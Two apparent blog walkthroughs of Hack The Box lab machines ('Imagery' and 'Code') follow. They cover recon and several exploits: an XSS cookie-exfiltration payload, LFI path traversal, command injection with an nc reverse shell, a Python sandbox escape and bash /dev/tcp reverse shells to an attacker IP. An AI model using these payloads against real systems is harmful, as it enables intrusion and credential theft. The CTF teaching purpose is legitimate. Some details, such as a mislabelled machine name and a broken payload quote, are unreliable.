❌

Normal view

There are new articles available, click to refresh the page.
Yesterday β€” 24 January 2026Main stream

Hack The Box: Imagery Machine Walkthrough – Medium Difficulity

By: darknite
24 January 2026 at 09:58
Reading Time: 12 minutes

Introduction to Imagery:

In this write-up, we will explore the β€œImagery” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œImagery” machine from Hack The Box by achieving the following objectives:

User Flag:

After gaining an initial foothold through weaknesses in the web application, access is gradually expanded beyond a standard user account. By leveraging exposed application data and mismanaged credentials, lateral movement becomes possible within the system. This progression ultimately leads to access to a regular system user account, where the user flag can be retrieved, marking the successful completion of the first objective.

Root Flag:

With user-level access established, further analysis reveals misconfigured privileges and trusted system utilities that can be abused. By carefully interacting with these elevated permissions and understanding how system-level automation is handled, full administrative control of the machine is achieved. This final escalation allows access to the root account and the retrieval of the root flag, completing the machine compromise.

Enumerating the Imagery Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.129.3.10

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/imagery]
└──╼ $nmap -sC -sV -oA initial 10.129.3.10 
# Nmap 7.94SVN scan initiated Fri Jan 23 23:04:24 2026 as: nmap -sC -sV -oA initial 10.129.3.10
Nmap scan report for 10.129.3.10
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sat, 24 Jan 2026 00:25:22 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.1.3 Python/3.12.7
|     Date: Sat, 24 Jan 2026 00:25:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 146960
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Image Gallery</title>
|     <script src="static/tailwind.js"></script>
|     <link rel="stylesheet" href="static/fonts.css">
|     <script src="static/purify.min.js"></script>
|     <style>
|     body {
|     font-family: 'Inter', sans-serif;
|     margin: 0;
|     padding: 0;
|     box-sizing: border-box;
|     display: flex;
|     flex-direction: column;
|     min-height: 100vh;
|     position: fixed;
|     top: 0;
|     width: 100%;
|     z-index: 50;
|_    #app-con
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7

Analysis:

  • Port 22 (SSH): SSH is available for remote access and may be used later if valid credentials are obtained.
  • Port 8000 (HTTP): A Python-based web application is exposed on port 8000 and represents the primary attack surface for further enumeration.

Web Enumeration:

Web Application Exploration:

Features the app’s slogan β€œCapture & Cherish Every Moment” in large white text, followed by a description: β€œYour personal online gallery, designed for simplicity and beauty. Upload, organise, and relive your memories with ease.” Below that, a white section titled β€œPowerful Features at Your Fingertips” with three icons (a landscape image frame, a padlock for security, and a rocket for speed/performance). The navigation bar at the top includes β€œHome,” β€œLogin,” and β€œRegister.”

Application Overview

Centred white form on blue background titled β€œRegister”. Fields: β€œEmail ID” (placeholder: β€œEnter your email ID”) and β€œPassword” (placeholder: β€œEnter your password” with eye icon for visibility). Blue β€œRegister” button. ja

Fields pre-filled: β€œEmail ID” as β€œdark@imagery.htb” and masked β€œPassword”. Blue β€œRegister” button.

Similar to register, titled β€œLogin”. Fields pre-filled: β€œEmail ID” as β€œdark@imagery.htb” and masked β€œPassword”. Blue β€œLogin” button, plus β€œDon’t have an account? Register here” link. Top nav: β€œHome”, β€œLogin”, β€œRegister”.

White background with title β€œYour Image Gallery”. A card message: β€œNo images uploaded yet. Go to the β€˜Upload’ page to add some!” Logged-in nav: β€œHome”, β€œGallery”, β€œUpload”, β€œLogout” (red button).

Client-side JavaScript source code fetching and displaying admin bug reports from /admin/bug_reports with error handling and UI rendering logic.

JavaScript function handleDownloadUserLog redirects to /admin/get_system_log with a crafted log_identifier parameter based on username.

404 Not Found response when accessing the root /admin endpoint directly.

JSON access denied response (β€œAdministrator privileges required”) when trying to access /admin/users as a non-admin user.

405 Method Not Allowed error on GET request to /report_bug, indicating the endpoint exists but requires a different HTTP method (likely POST).

App footer section showing copyright β€œΒ© 2026 Imagery”, Quick Links (Home, Gallery, Upload, Report Bug), social media links, and contact info (support@imagery.com, fictional address).

Stored Cross-Site Scripting in Bug Reporting Feature on Imagery Machine

β€œReport a Bug” form pre-filled with β€œbugName”: β€œdark” and the same XSS cookie-stealing payload in Bug Details, ready for submission.

Terminal session as user β€œdark@parrot” running a local HTTP server (sudo python3 -m http.server 80) in the ~/Documents/htb/imagery directory to serve files/listen for requests on port 80.

Burp Suite capture of a successful POST to /report_bug, submitting JSON with β€œbugName”: β€œdark” and XSS payload in β€œbugDetails” (<img src=x onerror=”document.location=’http://10.10.14.133:80/?cookie=’+document.cookie”>), response confirms submission with admin review message.

The response of successful POST to /report_bug, submitting an XSS payload in bugDetails to exfiltrate cookies via redirect to the attacker’s server.

Burp Suite capture of GET request to /auth_status returning JSON with logged-in user details (username β€œdark@imagery.htbβ€œ, isAdmin false).

Local Python HTTP server log showing incoming request from target (10.129.3.10) with stolen admin session cookie in query parameter, plus 404 for favicon.

Burp Suite capture of GET to /admin/ endpoint returning standard 404 Not Found HTML error page.

Successful GET to /admin/users with stolen admin cookie returning JSON user list (admin with isAdmin:true, testuser with isAdmin:false).

JavaScript source snippet of handleDownloadUserLog function redirecting to /admin/get_system_log with the encoded log_identifier parameter.

Local File Inclusion Leading to Credential Disclosure

Failed LFI attempt on non-existent path returning 500 Internal Server Error with β€œError reading file: 404 Not Found”.

Successful LFI exploitation via /admin/get_system_log retrieving /etc/passwd contents through path traversal payload β€œ../../../../../../etc/passwd”.

Admin Panel interface (accessed with hijacked session) showing User Management with admin and testuser entries, plus empty Submitted Bug Reports section.

LFI retrieval of /proc/self/environ exposes environment variables (LANG, PATH, WEBHOME, WEBSHELL, etc.).

Retrieved db.json file contents via /admin/get_system_log path traversal, exposing user records with MD5-hashed passwords for admin and testuser, alongside an empty bug_reports array.

LFI retrieval of config.py source code exposing app constants like DATA_STORE_PATH=’db.json’, upload folders, and allowed extensions.

CrackStation online tool cracking the MD5 hash β€œ2c65c8d7bfbca32a3ed42596192384f6” to plaintext β€œiambatman”.

Terminal output of failed SSH attempt as testuser@10.129.3.10 with publickey authentication denied.

Authenticating to the Imagery Application Using TestUser’s Credentials

Login page with Email ID pre-filled as β€œtestuser@imagery.htb” and masked password field.

Empty Gallery page for logged-in user stating β€œNo images uploaded yet. Go to the β€˜Upload’ page to add some!”

Upload New Image form with β€œlips.png” selected (max 1MB, allowed formats listed), optional title/description, group β€œMy Images”, uploading as Account ID e5f6g7h8.

Achieving Shell Access via Remote Code Execution

Gallery view showing single uploaded image β€œlips” (red lips icon) with open context menu offering Edit Details, Convert Format, Transform Image, Delete Metadata, Download, and Delete.

Visual Image Transformation modal in crop mode with selectable box over the red lips image, parameters set to x:0 y:0 width:193 height:172.

Successful Burp POST to /apply_visual_transform with valid crop params returning new transformed image URL in /uploads/admin/transformed/.

Burp capture of POST to /apply_visual_transform with invalid crop β€œx”:”id” parameter resulting in 500 error (β€œinvalid argument for option β€˜-crop'”).

Burp capture of POST to /apply_visual_transform injecting β€œcat /etc/passwd” via crop β€œx” parameter, resulting in 500 error exposing command output snippet.

Attacker terminal running netcat listener on port 9007 (nc -lvnp 9007).

Burp capture of POST to /apply_visual_transform with reverse shell payload in crop β€œx” parameter (β€œrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.133 9007 >/tmp/f”).

Successful reverse shell connection from target (10.129.3.10) to attacker listener on port 9007, landing as web@Imagery.

Detailed directory listing of /web (app root) revealing source files (api_*.py, app.py, config.py, db.json, utils.py) and directories (bot, env, static, system_logs, templates, uploads).

Directory listing of /web/bot showing admin.py file owned by web user.

Source code of admin.py revealing Selenium automation bot with hardcoded admin credentials (β€œadmin@imagery.htbβ€œ:”strongsandofbeach”), bypass token, and Chrome binary path.

Backup and Archive Discovery

Detailed directory listing of /var showing system directories (backup, backups, cache, crash, lib, local, log, mail, opt, run, snap, spool, tmp).

Directory listing of /var/backup showing an encrypted backup file web_20250806_120723.zip.aes.

Directory listing of /var/backups showing multiple compressed APT/dpkg state archives (.gz files).

Target starting Python HTTP server on port 9007 to serve the encrypted backup file.

Wget successfully downloading the encrypted backup file web_20250806_120723.zip.aes (22MB) from the target’s HTTP server on port 9007.

File command confirming web_20250806_120723.zip.aes is AES-encrypted data created by pyAesCrypt 6.1.1.

Attempt to run dpyAesCrypt.py failing with ModuleNotFoundError for β€˜pyAesCrypt’ (case-sensitive import issue).

Successful pip3 user installation of pyaescrypt-6.1.1 package.

Failed execution of dpyAesCrypt.py due to ModuleNotFoundError for β€˜termcolor’ (missing import dependency).

Successful pip3 user installation of termcolor-3.3.0 package.

Custom pyAesCrypt brute-forcer discovering password β€œbestfriends” early in the wordlist.

Successful decryption of the AES backup using β€œbestfriends”, outputting the original web_20250806_120723.zip.

The cunzip extracting the decrypted backup archive, revealing full app source (api_*.py, app.py, config.py, db.json, utils.py), templates, system_logs, env, and compiled pycache files.

cat of decrypted db.json revealing user database with admin (hashed password), testuser (β€œiambatman”), and mark (another hashed password).

CrackStation results cracking MD5 hashes to β€œiambatman”, β€œsupersmash”, and β€œspiderweb1234” (one unknown).

Successful su to mark using password β€œsupersmash”, confirming uid/gid 1002.

Python one-liner (python3 -c β€˜import pty;pty.spawn(β€œ/bin/bash”)’) to spawn an interactive bash shell.

ls -al in /home/mark showing files including user.txt (likely containing the flag).

We can read the user flag by typing the β€œcat user.txt” command

Escalate to Root Privileges Access to Imagery Machine

Privilege Escalation:

sudo -l reveals that user mark can run /usr/local/bin/charcol as root without a password (NOPASSWD).

charcol help output describing the CLI tool for encrypted backups, with commands (shell, help) and options (-quiet, -R for reset).

Failed charcol shell passphrase attempts (β€œbestfriend”, β€œsupermash”, β€œsupersmash”) resulting in lockout after multiple errors.

sudo charcol -R resetting application password to default (β€œno password” mode) after system password verification.

sudo charcol -R resetting application password to default (β€œno password” mode) after system password verification.

Repeated sudo charcol -R successfully resetting to no password mode.

charcol interactive shell entry after initial setup, displaying ASCII logo and info message.

charcol help output explaining backup/fetch commands and β€œauto add” for managing automated (root) cron jobs, with security warnings.

Attacker terminal running netcat listener on port 9007 in preparation for reverse shell.

Successful β€œauto add” command creating a root cron job with reverse shell payload to attacker (10.10.14.133:9007), verified with system password β€œsupersmash”.

Successful privilege escalation to root via a malicious cron job triggered a reverse shell, followed by reading the root flag from /root/root.txt

The post Hack The Box: Imagery Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Before yesterdayMain stream

Hack The Box: Code Machine Walkthrough – Easy Difficulity

By: darknite
2 August 2025 at 10:58
Reading Time: 9 minutes

Introduction to Code:

In this write-up, we will explore the β€œCode” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œCode” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a web application’s code execution vulnerability by bypassing restricted keywords through Python class enumeration. Gain a reverse shell as the app-production user and read the user.txt flag from the user’s home directory.

Root Flag: From the app-production shell, access a SQLite database in the /app directory, extract and crack the martin user’s password, and switch to martin. Identify that martin can run a backup script as root. Create a malicious JSON file to include the /root/ directory in a backup, extract it, and read the root.txt flag.

Enumerating the Code Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.62

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.62

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/code]
└──╼ $nmap -sV -sC -oA initial 10.10.11.62 
# Nmap 7.94SVN scan initiated Mon Jul 21 18:11:21 2025 as: nmap -sV -sC -oA initial 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 21 18:12:09 2025 -- 1 IP address (1 host up) scanned in 48.11 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access. It allows administrators to log in and manage the server using encrypted connections securely.
  • Port 5000 (HTTP): A web application is running on this port using Gunicorn 20.0.4, a Python-based web server. The site appears to be a Python Code Editor, according to the page title.

Web Enumeration:

Exploitation

Web Application Exploration:

The web interface includes a code execution feature.

We are attempting to run the following code. However, before executing it, we need to ensure all prerequisites are met. Once these conditions are satisfied, the code can be executed as intended.

import os
print(os.system("echo Hello, world!"))

Results in the following error: β€œThe use of restricted keywords is not permitted.”

Troubleshooting Issues on the Code Machine

To bypass this, enumerate Python classes to access restricted functions:

for i in range(200):
    try:
        cls = ''.__class__.__bases__[0].__subclasses__()[i]
        if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__'):
            builtins = cls.__init__.__globals__.get('__buil'+'tins__')
            if builtins and 'ev'+'al' in builtins:
                print(i, str(cls))
    except Exception:
        continue

Python Class Enumeration Output

The following Python classes were identified during enumeration to bypass restricted keywords on the β€œCode” machine.

Import and Module Classes

# 80 <class '_frozen_importlib._ModuleLock'>
# 81 <class '_frozen_importlib._DummyModuleLock'>
# 82 <class '_frozen_importlib._ModuleLockManager'>
# 83 <class '_frozen_importlib.ModuleSpec'>
# 99 <class '_frozen_importlib_external.FileLoader'>
# 100 <class '_frozen_importlib_external._NamespacePath'>
# 101 <class '_frozen_importlib_external._NamespaceLoader'>
# 103 <class '_frozen_importlib_external.FileFinder'>
# 104 <class 'zipimport.zipimporter'>
# 105 <class 'zipimport._ZipImportResourceReader'>

These classes relate to Python’s import and module loading mechanisms.

Codec and OS Classes

# 107 <class 'codecs.IncrementalEncoder'>
# 108 <class 'codecs.IncrementalDecoder'>
# 109 <class 'codecs.StreamReaderWriter'>
# 110 <class 'codecs.StreamRecoder'>
# 132 <class 'os._wrap_close'>

These involve encoding/decoding and OS operations.

Builtins and Type Classes

# 133 <class '_sitebuiltins.Quitter'>
# 134 <class '_sitebuiltins._Printer'>
# 136 <class 'types.DynamicClassAttribute'>
# 137 <class 'types._GeneratorWrapper'>
# 138 <class 'warnings.WarningMessage'>
# 139 <class 'warnings.catch_warnings'>

This enumeration reveals classes such as Quitter (index 133), which was utilised to execute commands.

Utility and Context Classes

# 166 <class 'reprlib.Repr'>
# 174 <class 'functools.partialmethod'>
# 175 <class 'functools.singledispatchmethod'>
# 176 <class 'functools.cached_property'>
# 178 <class 'contextlib._GeneratorContextManagerBase'>
# 179 <class 'contextlib._BaseExitStack'>

These handle representation and context management.

Regex and Threading Classes

# 185 <class 'sre_parse.State'>
# 186 <class 'sre_parse.SubPattern'>
# 187 <class 'sre_parse.Tokenizer'>
# 188 <class 're.Scanner'>
# 189 <class '__future__._Feature'>
# 192 <class '_weakrefset._IterationGuard'>
# 193 <class '_weakrefset.WeakSet'>
# 194 <class 'threading._RLock'>
# 195 <class 'threading.Condition'>
# 196 <class 'threading.Semaphore'>
# 197 <class 'threading.Event'>
# 198 <class 'threading.Barrier'>
# 199 <class 'threading.Thread'>

These support regex parsing and threading.

Executing Commands

Capturing Command Output

Execute the whoami command using the Quitter class, resulting in an output code of 0, indicating successful execution.

Next, capture the whoami output using the subprocess module.

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['whoami'], capture_output=True).stdout.decode()"
    )
)

The execution of the command produced the output app-production, indicating the current user context under which the process is running.

Establishing a Reverse Shell

To establish a reverse shell:

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/10.10.14.116/9007 0>&1'], shell=True)'
    )
)

The command executed successfully and returned a CompletedProcess object with the arguments [β€˜bash’, β€˜-c’, β€˜bash -i >& /dev/tcp/10.10.14.116/9007 0>&1β€˜] and a return code of 0, indicating unsuccessful execution.

It was time to list the available attributes and methods of the int class.

Utilise subprocess.Popen (located at index 317) to initiate a reverse shell connection:

().__class__.__bases__[0].__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.116/9007 0>&1"]
)

Using subprocess.PopenUsing subprocess.Popen

This command initiates a reverse shell connection by spawning a Bash process that connects back to the specified IP address and port.

A response was successfully received from the reverse shell connection.

Once shell access is obtained, proceed to locate and read the user flag.

Escalate to Root Privileges

Privilege Escalation:

Let’s explore the app directory, which includes the folders and files

Within the instance directory, there is a file named database.db.

SQLite3 Database Enumeration on the Code Machine

Therefore, let’s run the command sqlite3 database.db to interact with the database.

The database contains two tables.

We need to extract the stored hashes from the SQLite database using sqlite3.

The screenshot above displays the extracted hashes.

Hashcat Password Cracking Process

It is uncommon to obtain a complete set of cracked hashes as shown here.

Switching to Martin

By using the previously cracked password, we can now authenticate as the user Martin. Consequently, this allows us to gain access with Martin’s privileges and proceed with further actions.

Exploring and Testing the backy.sh Script

When running sudo -l, we discovered the presence of the /usr/bin/backy.sh script.

The backy.sh script streamlines folder backups on Linux. First, it demands a JSON settings file listing folders to back up. However, without a valid file, it halts and shows an error. Moreover, it restricts backups to /var/ or /home/ directories, thus blocking unauthorized paths. Additionally, it sanitizes folder lists to prevent security breaches. Once verified, it triggers the backy tool for the backup. Ultimately, backy.sh ensures safe, controlled backups, thwarting misuse.

Creating a Malicious JSON File on Code Machine

When Martin tries to run the /usr/bin/backy.sh script with sudo, the system immediately responds by showing how to use the script properlyβ€”specifically, it requires a file named task.json as input. Therefore, the script won’t run without the correct instructions. This highlights the importance of providing the right parameters when executing commands with elevated privileges, ensuring that the intended actions are performed safely and correctly.

The original /usr/bin/backy.sh file is a script that requires a JSON task file as an argument to run properly. Without this input, it displays a usage message and does not perform any actions.

Our modified version of the script uses dark.json as the input task file to execute specific commands or actions defined within that JSON, allowing us to leverage the script’s functionality with custom instructions.

We successfully obtained the tar.bz2 file, but encountered issues that prevented us from extracting or using it.

Perhaps using the correct task.json file is necessary to properly execute the script and avoid errors.

Our goal should be to directly obtain the file itself for proper use or analysis.

It appears that we have successfully accessed the root/ directory.

The script likely didn’t work earlier because it required a specific input file (task.json) to function correctly, and running it without this file caused it to display the usage instructions instead of executing the intended tasks.

The post Hack The Box: Code Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

❌
❌